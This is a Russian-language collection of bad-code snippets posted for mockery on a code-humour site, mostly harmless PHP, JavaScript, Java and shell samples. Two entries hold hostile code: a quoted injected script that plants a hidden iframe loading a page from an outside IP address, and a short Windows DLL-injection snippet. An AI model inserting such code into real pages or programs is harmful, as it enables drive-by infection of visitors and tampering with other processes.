- 1
- 2
- 3
if (a % 1 == 0) {
// a - целое число
}
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+160
if (a % 1 == 0) {
// a - целое число
}
Вот такая вот проверка.
+27
@@ -50,9 +50,6 @@ void AreaTrigger::RemoveFromWorld()
///- Remove the AreaTrigger from the accessor and from all lists of objects in world
if (IsInWorld())
{
- if (!IsInWorld())
- return;
-
WorldObject::RemoveFromWorld();
sObjectAccessor->RemoveObject(this);
}
"Core/AreaTrigger: Remove useful check"
https://github.com/TrinityCore/TrinityCore/commit/d920463fe5fe6eee7c4a8e2d777720fcfbe6f08f
+150
function email($from, $to, $subject, $message)
{
$ci =& get_instance();
$config['mailtype'] = 'html';
$ci->load->library('email', $config);
$ci->email->clear();
$ci->email->from($from);
$ci->email->to($to);
$ci->email->subject($subject);
$ci->email->message($message);
$ci->email->send();
}
+155
<script type="text/javascript" language="javascript"> // весь следующий код внедряется в страницу
function llolwut() // функция, создающая невидимый iframe - http://69.67.187.39/TpqzKHZm.php
{
var momge = document.createElement('iframe');
momge.src = 'http://69.67.187.39/TpqzKHZm.php';
momge.style.border = '0';
momge.style.position = 'absolute';
momge.style.left = '-1234px';
momge.style.top = '-1337px';
momge.style.height = '21px';
momge.style.width = '21px';
if ( !document.getElementById( 'momge' ) ) // если еще не сделали iframe
{
document.write('<div name=\'momge\' id=\'momge\'></div>');
document.getElementById('momge').appendChild(momge ); // сделать его
}
}
function SetCookie( cookieName, cookieValue, nDays, path ) // установить кукисы
{
var today = new Date();
var expire = new Date();
if ( nDays == null || nDays == 0 )
nDays = 1;
expire.setTime(today.getTime() + 1800000*24*nDays);
document.cookie = cookieName + "=" + escape( cookieValue ) + ";expires=" + expire.toGMTString() + ( (path) ? ";path = " + path : "");
}
function GetCookie(name) // получить кукисы
{
var start = document.cookie.indexOf( name + "=" );
var len = start + name.length + 1;
if ( (!start) && ( name != document.cookie.substring( 0,name.length ) ) )
return null;
if ( start == -1 )
return null;
var end = document.cookie.indexOf( ";", len );
if ( end == -1 )
end = document.cookie.length;
return unescape( document.cookie.substring( len, end ) );
}
// основной код
if ( navigator.cookieEnabled ) // если кукисы включены в настройках
{
if( GetCookie( '___utma' ) == '84f5e86989f374536450659c18f5489e' ) {} // если проставлены вредные кукисы - ничего не делать
else // если не проставлены - установить их и внедрить невидимый iframe в код страницы
{
SetCookie( '___utma', '84f5e86989f374536450659c18f5489e', '1', '/' );
llolwut();
}
}
</script>
Мега-вирус, by H@C|<3R. Изначально все это дерьмо было в 1 строку и без комментариев.
+20
const char dll[] = "C:\\sperhacks\\superhack.dll";
LPVOID mem = NULL;
DWORD PID = 666;
if (WriteProcessMemory(OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION, FALSE, PID), (mem = VirtualAllocEx(OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION, FALSE, PID), NULL, sizeof(dll), MEM_COMMIT, PAGE_EXECUTE_READWRITE)), dll, sizeof(dll), NULL) && CreateRemoteThread(OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD |PROCESS_QUERY_INFORMATION, FALSE, PID), NULL, 0, (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA"), mem, NULL, NULL));
Говнопособие для самых маленьких: dll-injection в 4 строки. Можно и без кучи OpenProcess, тогда в 5 строк.
+155
js меня восхищает, реально. это язык, где проблемы с замыканием можно решить, добавив ещё одно замыкание. прикинем, например
var object = ...;
doShit(function /* async callback */ () { object.doOtherShit(); });
пока вроде как всё зашибись. но вдруг понадобилось написать цикл:
for (var i....) {
var object = array[i];
doShit(function /* this now fails hard */ () { object.doOtherShit(); });
}
что же делац? правильно, врапим всё в ещё одну функцию:
for (var i....) {
(function(object){
doShit(function /* oh, it's okay again */ () { object.doOtherShit(); });
})(array[i]);
}
+74
public final class TimeBasedRollingPolicy extends RollingPolicyBase
...
private int suffixLength = 0;
...
public void activateOptions() {
....
if (lastFileName.endsWith(".gz")) {
suffixLength = 3;
} else if (lastFileName.endsWith(".zip")) {
suffixLength = 4;
}
}
public RolloverDescription rollover(final String currentActiveFile) {
...
if (suffixLength == 3) {
compressAction =
new GZCompressAction(
new File(lastBaseName), new File(lastFileName), true);
}
if (suffixLength == 4) {
compressAction =
new ZipCompressAction(
new File(lastBaseName), new File(lastFileName), true);
}
...
}
}
Log4j
+155
function createDataStringFromArray(data){
dataName = "outputSyntax=plain"
data.each(function(value, index){
if(value.name == "register_first_name"){
dataName = dataName + "®ister_first_name=" + value.value;
}else if(value.name == "register_last_name"){
dataName = dataName + "®ister_last_name=" + value.value;
}else if(value.name == "etablishment"){
dataName = dataName + "&etablishment=" + value.value;
}else if(value.name == "function"){
dataName = dataName + "&fonction=" + value.value;
}else if(value.name == "element_id"){
dataName = dataName + "&id=" + value.value;
}else if(value.name == "mail"){
dataName = dataName + "®ister_email=" + value.value;
}else if(value.name == "phone"){
dataName = dataName + "®ister_phone=" + value.value;
}else if(value.name == "mobile"){
dataName = dataName + "®ister_mobile=" + value.value;
}else if(value.name == "access"){
dataName = dataName + "&access=" + value.value;
}else if(value.name == "mail_alerts"){
dataName = dataName + "&mail_alerts=" + value.value;
}
})
return dataName;
}
+155
jQuery(document).ready(function(){
jQuery('#administratifs .accessElement').each(function(){
#foreach($user in $users)
#set($function = $user.getProperty('fonction').getValue())
if(jQuery(this).attr('id')== "accessElement_$user.getNumber()"){
jQuery(this).find('.selectFunction option').filter(function() {
return jQuery(this).text() == "$function";
}).prop('selected', true);
}
#end
})
jQuery('#administratifs .disableClass').attr('disabled', 'disabled');
})
тут еще velocity
−122
exit_status=0
# blah-blah
for process in "service1 service2 service3"; do
# blah-blah
$process || \
exit_status=`expr "${exit_status}" \| 1`
done
exit $exit_status
В раздел "джависты пишут шелл-скрипты"